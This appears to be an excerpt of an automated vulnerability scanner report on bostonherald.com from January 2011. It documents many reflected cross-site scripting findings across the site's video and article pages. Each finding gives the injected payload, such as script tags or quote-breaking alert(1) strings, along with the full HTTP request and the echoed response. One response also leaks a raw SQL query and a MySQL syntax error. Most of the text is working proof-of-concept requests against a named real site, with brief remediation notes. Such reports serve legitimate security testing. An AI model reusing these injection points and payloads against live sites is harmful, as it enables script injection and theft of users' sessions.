<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <title>Photos & Video - Boston ...[SNIP]... <script type="text/javascript"> // For pop-up windows in Now Playing pane hide_id = 0;
// Converts the GET params to a JSON object mcParams = '7b77b'-alert(1)-'44e32132f58=1'.toQueryParams();
The value of the bc_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59ff3"><script>alert(1)</script>0e6ae86ba81 was submitted in the bc_id parameter. This input was echoed as 59ff3\"><script>alert(1)</script>0e6ae86ba81 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /mediacenter/video.php?src=http://multimedia.bostonherald.com/video/20110127/012711snowar.flv&program_id=4c6ebfbed6269&media_id=2024&title=Sidewalk%20snow%20woes&width=370&height=300&bc_id=76678385900159ff3"><script>alert(1)</script>0e6ae86ba81&rand=408 HTTP/1.1 Host: www.bostonherald.com Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bhfont=12
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 01:40:22 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2577 Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <!-- This Page is for Inclusion i ...[SNIP]... <object id="myExperience76678385900159ff3\"><script>alert(1)</script>0e6ae86ba81" class="BrightcoveExperience"> ...[SNIP]...
The value of the height request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6d42"><script>alert(1)</script>dad1887e031 was submitted in the height parameter. This input was echoed as e6d42\"><script>alert(1)</script>dad1887e031 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /mediacenter/video.php?src=http://multimedia.bostonherald.com/video/20110127/012711snowar.flv&program_id=4c6ebfbed6269&media_id=2024&title=Sidewalk%20snow%20woes&width=370&height=300e6d42"><script>alert(1)</script>dad1887e031&bc_id=766783859001&rand=408 HTTP/1.1 Host: www.bostonherald.com Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bhfont=12
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 01:40:21 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2577 Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <!-- This Page is for Inclusion i ...[SNIP]... <param name="height" value="300e6d42\"><script>alert(1)</script>dad1887e031" /> ...[SNIP]...
The value of the media_id request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload da509</script><script>alert(1)</script>08312a85049 was submitted in the media_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mediacenter/video.php?src=http://multimedia.bostonherald.com/video/20110127/012711snowar.flv&program_id=4c6ebfbed6269&media_id=2024da509</script><script>alert(1)</script>08312a85049&title=Sidewalk snow woes&width=370&height=300&bc_id=766783859001&rand=408 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 04:01:37 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2639 Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <!-- This Page is for Inclusion i ...[SNIP]... se");
2.22. http://www.bostonherald.com/mediacenter/video.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bostonherald.com
Path:
/mediacenter/video.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 521f5</script><script>alert(1)</script>224f4942aaa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mediacenter/video.php?src=http://multimedia.bostonherald.com/video/20110127/012711snowar.flv&program_id=4c6ebfbed6269&media_id=2024&title=Side/521f5</script><script>alert(1)</script>224f4942aaawalk snow woes&width=370&height=300&bc_id=766783859001&rand=408 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 04:04:26 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2640 Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <!-- This Page is for Inclusion i ...[SNIP]... http://www.bostonherald.com/mediacenter/retrieve_video.php?redirect=http%3A%2F%2Fmultimedia.bostonherald.com%2Fvideo%2F20110127%2F012711snowar.flv&video_id=2024"); tmObj.set("VideoTitle", "Side/521f5</script><script>alert(1)</script>224f4942aaawalk"); tmObj.set("Category", "");
The value of the program_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 73056</script><script>alert(1)</script>1e86b062507 was submitted in the program_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mediacenter/video.php?src=http://multimedia.bostonherald.com/video/20110127/012711snowar.flv&program_id=4c6ebfbed626973056</script><script>alert(1)</script>1e86b062507&media_id=2024&title=Sidewalk snow woes&width=370&height=300&bc_id=766783859001&rand=408 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 04:01:15 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2689 Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <!-- This Page is for Inclusion i ...[SNIP]... ia.bostonherald.com/video/20110127/012711snowar.flv.jpg"); tmObj.set("EndSlateURL","http://multimedia.bostonherald.com/video/20110127/012711snowar.flv.jpg");
tmObj.start('4c6ebfbed626973056</script><script>alert(1)</script>1e86b062507'); // Set in Acudeo Console
// 49ee2ce0476b3 -- incl bottom companion ad </script> ...[SNIP]...
The value of the program_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc846"><script>alert(1)</script>a2e44a869d6 was submitted in the program_id parameter. This input was echoed as cc846\"><script>alert(1)</script>a2e44a869d6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /mediacenter/video.php?src=http://multimedia.bostonherald.com/video/20110127/012711snowar.flv&program_id=4c6ebfbed6269cc846"><script>alert(1)</script>a2e44a869d6&media_id=2024&title=Sidewalk snow woes&width=370&height=300&bc_id=766783859001&rand=408 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 04:00:45 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2677 Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <!-- This Page is for Inclusion i ...[SNIP]... <script type="text/javascript" src="http://objects.tremormedia.com/embed/js/4c6ebfbed6269cc846\"><script>alert(1)</script>a2e44a869d6_p.js"> ...[SNIP]...
The value of the src request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9aa21</script><script>alert(1)</script>b29dc7874f2 was submitted in the src parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mediacenter/video.php?src=http://multimedia.bostonherald.com/video/20110127/012711snowar.flv9aa21</script><script>alert(1)</script>b29dc7874f2&program_id=4c6ebfbed6269&media_id=2024&title=Sidewalk snow woes&width=370&height=300&bc_id=766783859001&rand=408 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 04:00:30 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2759 Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <!-- This Page is for Inclusion i ...[SNIP]... image // http://cache.heraldinteractive.com/images/version5.0/site_images/click_to_play.jpg
The value of the title request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b51c2</script><script>alert(1)</script>07de356f883 was submitted in the title parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mediacenter/video.php?src=http://multimedia.bostonherald.com/video/20110127/012711snowar.flv&program_id=4c6ebfbed6269&media_id=2024&title=Sidewalkb51c2</script><script>alert(1)</script>07de356f883 snow woes&width=370&height=300&bc_id=766783859001&rand=408 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 04:02:00 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2639 Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <!-- This Page is for Inclusion i ...[SNIP]... p://www.bostonherald.com/mediacenter/retrieve_video.php?redirect=http%3A%2F%2Fmultimedia.bostonherald.com%2Fvideo%2F20110127%2F012711snowar.flv&video_id=2024"); tmObj.set("VideoTitle", "Sidewalkb51c2</script><script>alert(1)</script>07de356f883"); tmObj.set("Category", "");
The value of the width request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e143d"><script>alert(1)</script>a9e85fd0010 was submitted in the width parameter. This input was echoed as e143d\"><script>alert(1)</script>a9e85fd0010 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /mediacenter/video.php?src=http://multimedia.bostonherald.com/video/20110127/012711snowar.flv&program_id=4c6ebfbed6269&media_id=2024&title=Sidewalk%20snow%20woes&width=370e143d"><script>alert(1)</script>a9e85fd0010&height=300&bc_id=766783859001&rand=408 HTTP/1.1 Host: www.bostonherald.com Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bhfont=12
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 01:40:20 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2533 Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <!-- This Page is for Inclusion i ...[SNIP]... <div id="adCompanionSubstitute" class="w370e143d\"><script>alert(1)</script>a9e85fd0010xh300"> ...[SNIP]...
The value of the format request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ff39a'-alert(1)-'96f43005832 was submitted in the format parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/politics/view.bg?articleid=1312665&format=emailff39a'-alert(1)-'96f43005832 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:35:18 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-language: en Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 44075
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
The value of the format request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bdf1d'-alert(1)-'71a4876b0f9 was submitted in the format parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/regional/view.bg?articleid=1312541&format=emailbdf1d'-alert(1)-'71a4876b0f9 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:43:44 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-language: en Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 46814
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
// Converts the GET params to a JSON object GET_Params = 'articleid=1312541&format=emailbdf1d'-alert(1)-'71a4876b0f9'.toQueryParams();
//alert(Object.inspect(GET_Params)); //----------------------------------------------------------------- function updatePage(key,val) { //---------------------------- ...[SNIP]...
2.30. http://www.bostonherald.com/projects/payroll/cambridge/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bostonherald.com
Path:
/projects/payroll/cambridge/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c00b'-alert(1)-'f86646641f6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /projects/payroll/cambridge/?5c00b'-alert(1)-'f86646641f6=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:47:41 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 529 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.*,j.full FROM `cambridgeData` a INNER JOIN `cambridgeCats` j ON j.cat_id = department_id WHERE 1=1 ORDER BY ?5c00b'-alert(1)-'f86646641f6=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?5c00b'-alert(1)-'f86646641f6=1 LIMIT 0,20' at line 1<br> ...[SNIP]...
2.31. http://www.bostonherald.com/projects/payroll/cambridge/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.bostonherald.com
Path:
/projects/payroll/cambridge/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload f4bca(a)57e0d5026f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
